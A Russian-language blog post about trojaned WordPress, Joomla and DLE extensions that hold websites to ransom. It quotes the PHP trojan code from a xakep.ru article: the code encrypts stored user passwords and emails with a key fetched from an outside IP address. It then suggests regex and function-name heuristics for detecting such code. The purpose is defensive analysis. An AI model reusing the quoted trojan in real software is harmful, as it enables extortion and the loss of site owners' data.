Троян на сайте

Троян на сайте

Всем доброго времени суток. Написать данный пост меня подтолкнула статья на xakep.ru: Хочешь сайт обратно? Плати! Там говорится, что появился такой вид мошенничества, как блокировка сайта с последующим вымогательством денег для его разблокировки. Тема старая, изъезженная, но теперь в новой инкарнации - серверной. Кстати я задался вопросом, кто помешает вымогателям, после того как жертва заплатила, заблокировать сайт еще раз? И еще столько раз, сколько позволит жадность вымогателя? Ответ на этот вопрос увы вполне очевиден - никто. Но это уже компетенция соответствующих органов, а я в свою очередь хочу немного поразмыслить на эту тему с точки зрения программиста.

Сайты сейчас в основном делаются либо на фреймворках, либо на движках, и лишь единицы (как правило это либо энтузиасты-маньяки, либо параноики) все пишут с нуля. Движок, как правило это полуфабрикат, он обеспечивает лишь базовый функционал. Далее уже устанавливаются темы оформления и модули для создания нужного специфичного функционала, например модуль-магазин, модуль-новости, модуль-комментарии, и т.д. Т.е. даже если движок сайта скачан с официального сайта, или официально куплен, остается возможность поставить "левый" модуль-расширение и привет - имеем троян в системе.

Страшно то, что то, что описано в статье на xakep.ru теоретически реализуемо любым школьником PHP-шником, прочитавшим хотя бы пару статей по шифрованию и доки к какому-нибудь популярному движку: достаточно взять любое популярное расширение, или тему оформления под какой-нибудь популярный движок, засунуть в него код трояна и выложить в сеть, и все! Остается ждать результата, пока какой-нибудь лох web-мастер не скачает и не установит его.

Кстати, к скриптам, скачанным с моего сайта php-zametki.ru вышесказанное не относится! Все то, что я предлагаю скачать - это продукт лично мой, а я не занимаюсь деятельностью противоречащей законам РФ, а так же законам морали и этики.

И да, антивирусом ловить такой троян - дело геморройное я бы даже сказал бесполезное. Ну, посудите сами, PHP язык интерпретируемый, код трояна может сильно переплетаться с базовым кодом исходника. Подумаем, если бы мы писали антивирус, то на что бы мы опирались? Код трояна, приведенный в статье на xakep.ru, если не знать контекста, представляет собой вполне обычный код, который вполне мог бы быть рабочим кодом в каком-нибудь приложении:

if(isset($result['user_password'])){ 
    $result['user_password'] = $cipher->decrypt($result['user_password']); 
} 
if(isset($result['user_email'])){ 
    $result['user_email'] = $cipher->decrypt($result['user_email']); 
}

...

$sql_ary = array( 
    'username'=>$user_row['username'], 
    'username_clean' => $username_clean, 
    
    'user_password' => (isset($user_row['user_password'])) ? 
        $cipher->encrypt($user_row['user_password']) : 
        $cipher->encrypt(''), 
        
    'user_email'=> $cipher->encrypt(strtolower($user_row['user_email'])), 
    'user_email_hash'=> phpbb_email_hash($user_row['user_email']), 
    'group_id' => $user_row['group_id'], 
    'user_type' => $user_row['user_type'], 
);

...

class Cipher { 
    private $securekey, $iv; 
    
    function __construct($textkey) { 
        $this->securekey = hash('sha256',$textkey,TRUE); 
        $this->iv = mcrypt_create_iv(32); 
    } 
    function encrypt($input) { 
        return base64_encode(mcrypt_encrypt(MCRYPT_RIJNDAEL_256, 
           $this->securekey, $input, MCRYPT_MODE_ECB, $this->iv)); 
    } 
    function decrypt($input) { 
        return trim(mcrypt_decrypt(MCRYPT_RIJNDAEL_256, 
           $this->securekey, base64_decode($input), MCRYPT_MODE_ECB, $this->iv)); 
    } 
} 

$key=file_get_contents('https://103.13.120.108/sfdoif89d7sf8d979dfgf/sdfds90f8d9s0f8d0f89.txt');
$cipher=new Cipher($key);

Кто то может возразить, что можно отслеживать в коде наличие IP, или даже адрес целиком подстроку: 103.13.120.108/sfdoif89d7sf8d979dfgf/sdfds90f8d9s0f8d0f89.txt, но как вы понимаете при должной сноровке ничего не стоит заиметь кучу таких адресови в каждую копию можно прописывать новый адрес, а вот сам факт наличия в коде подстроки падающей под шаблон IP адреса:

^\d{0,3}\.\d{0,3}\.\d{0,3}\.\d{0,3}$

и URI:

^((mailto\:|(news|(ht|f)tp(s?))\://){1}\S+)$

- это уже повод насторожиться.

В принципе можно реализовать некоторую эвристику и попробовать написать некое подобие антивируса. Тут приходит на ум только поиск потенциально опасных функций в коде устанавливаемого расширения, это могут быть следующие семейства функций:

А так же функции base64_decode и base64_encode потому, что они как правило используются для обфускации кода трояна, но для этого, кстати возможны и другие, более изощренные методы, вплоть до различного вида симметричного шифрования. Так же стоит отмечать и проверять наличие функции mail мало ли кто там и что собрался отправлять из вашего кода?! Возможно я что то упустил, добавляйте свои соображения в комментариях. Так вот, названия этих функций можно собрать в массив, и написав несложный скрипт, при помощи которого можно производить поиск по исходникам скачанного расширения, и уже при нахождении совпадения разбираться что там в коде происходит и почему.

А Вообще схема не сложная. Как я писал выше: берется популярное расширение под популярный движок, например WordPress или Joomla или DLE, в него прописывается код трояна, а затем это "творение" выливается в сеть через форумы, говно-сайты, варезники и прочее. Когда это расширение скачивает web-мастер и пытается установить его в свою систему, троян при штатном обращении к нему системы прописывает/переписывает файлы системы-жертвы, например создает, как в той статье на xakep.ru что то типа прокси к базе данных. При первом же обращении к базе данных через этот прокси-троян на адрес злоумышленника отправляется запрос на получение ключа шифрования, данные шифруются и попадают в базу. Извлечение данных из базы - процесс аналогичный. В итоге у злоумышленника есть IP и ключик, которым в последствии можно можно шантажировать жертву, вымогая деньги. Так же возможны вариации этой схемы, которые я приводить здесь не буду дабы не распалять и без того буйную фантазию людей, перешедших на темную сторону силы. Вообще, если позволит время в будущем я наверно напишу такой антивирь, например на Python-е или на том же PHP, что бы можно было прям на сервере проверять интересующие директории. А еще лучше напишу сервис и предоставлю всем желающим ;)

Подытожить можно следующим: помимо основных мер безопасности нужно внимательно относиться к источникам, из которых вы скачиваете расширения, а так же по возможности проверять исходный код устанавливаемых расширений, но для грамотных web-мастеров это давно не новость.

Вот тут можно подчерпнуть хорошие моменты касаемо безопасности: Безопасный и шустрый веб-сервер. Еще полезно иметь на сервере GIT и "загнав" сайт под версионный контроль очень удобно контролировать изменения в файловой системе проекта, но это увы доступно тем у кого сервер свой/виртуальный/выделенный. А вообще как сказал известный сатирик: "нашу бы энергию, да в мирное русло..." - эх вот действительно сделали бы лучше что нибудь полезное, что люди сами бы с удовольствием покупали бы, и жили бы без проблем с законом...

Добавить комментарий


Защитный код
Обновить



Кто на сайте
Сейчас 117 гостей онлайн